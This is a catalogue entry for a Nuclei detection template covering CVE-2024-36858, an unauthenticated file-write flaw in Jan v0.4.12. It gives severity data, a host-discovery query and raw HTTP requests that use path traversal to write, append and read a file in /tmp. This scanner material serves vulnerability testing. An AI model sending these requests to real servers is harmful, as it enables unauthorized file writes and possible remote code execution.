CVE-2024-36858: Jan v0.4.12 - Arbitrary File Upload
- Template: CVE-2024-36858
- Name: Jan v0.4.12 - Arbitrary File Upload
- Description: An arbitrary file upload vulnerability in the /v1/app/writeFileSync interface of Jan v0.4.12 allows attackers to execute arbitrary code via uploading a crafted file.
- Impact: Unauthenticated attackers can upload crafted files to execute arbitrary code on the server.
- Remediation: Update Jan to a version later than v0.4.12 that patches the arbitrary file upload vulnerability.
- Severity: critical
- Authors: pussycat0x
- Tags: cve, cve2024, totolink, unauth, intrusive, vkev, vuln
- References: https://github.com/HackAllSec/CVEs/blob/main/Jan%20AFR%20vulnerability/README.md
- Cves: CVE-2024-36858
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-36858.yaml
- Digest: 4b0a00483046022100a6ac9bb564adeb66eac8c4a6a0a5b3de32f3089f914b147f114471451190f165022100b997a19491c37e98f8fb0e1d0b1121d2aa5133aaae5f136bb27a872b3b114c91
- Created at: 2025-06-15T09:48:53Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 527
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-36858.yaml
- Checked, none or zero: verified
- Not known: max requests
Classification
- Cwe: CWE-434
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.03035
- Epss percentile: 0.8784
- Cpe: cpe:2.3:a:homebrew:jan:0.4.12:*:*:*:*:*:*:*
Metadata
- Fofa-query: icon_hash="-165268926"
- Product: jan
- Vendor: homebrew
Products
| Product | Indexed | Url |
|---|---|---|
| homebrew:jan | yes | /v1/products/homebrew/jan |
Labels
- Name: Jan - Unrestricted File Upload
- Impact: Attackers can execute arbitrary code on the server, potentially leading to full system compromise.
- Remediation: Update to the latest version of Jan or apply security patches to restrict file upload capabilities.
- Vulnerability type: unrestricted_file_upload
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2024-36858
- Not known: requirements
```yaml
id: CVE-2024-36858
info:
name: Jan v0.4.12 - Arbitrary File Upload
author: pussycat0x
severity: critical
description: |
An arbitrary file upload vulnerability in the /v1/app/writeFileSync interface of Jan v0.4.12 allows attackers to execute arbitrary code via uploading a crafted file.
impact: |
Unauthenticated attackers can upload crafted files to execute arbitrary code on the server.
remediation: |
Update Jan to a version later than v0.4.12 that patches the arbitrary file upload vulnerability.
reference:
- https://github.com/HackAllSec/CVEs/blob/main/Jan%20AFR%20vulnerability/README.md
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-36858
cwe-id: CWE-434
epss-score: 0.03035
epss-percentile: 0.8784
cpe: cpe:2.3:a:homebrew:jan:0.4.12:*:*:*:*:*:*:*
metadata:
vendor: homebrew
product: jan
fofa-query: icon_hash="-165268926"
tags: cve,cve2024,totolink,unauth,intrusive,vkev,vuln
variables:
filename: "{{to_lower(rand_text_alpha(6))}}"
string: "{{rand_text_alpha(10)}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body,"<title>Jan</title>")'
- "contains(content_type, 'text/html')"
- "status_code == 200"
condition: and
internal: true
- raw:
- |
POST /v1/app/writeFileSync HTTP/1.1
Host: {{Hostname}}
Referer: {{RootURL}}
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Origin: {{RootURL}}
["/../../../../../tmp/{{filename}}.txt","{{randstr}}"]
- |
POST /v1/app/appendFileSync HTTP/1.1
Host: {{Hostname}}
Referer: {{RootURL}}
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Origin: {{RootURL}}
["file:/../../../../../../tmp/{{filename}}.txt","{{string}}"]
- |
POST /v1/app/readFileSync HTTP/1.1
Host: {{Hostname}}
Referer: {{RootURL}}
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Origin: {{RootURL}}
["file:/../../../../../../tmp/{{filename}}.txt","utf-8"]
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200'
- 'contains(body_3, "{{string}}")'
condition: and
digest: 4b0a00483046022100a6ac9bb564adeb66eac8c4a6a0a5b3de32f3089f914b147f114471451190f165022100b997a19491c37e98f8fb0e1d0b1121d2aa5133aaae5f136bb27a872b3b114c91:922c64590222798bb761d5b6d8e72950
```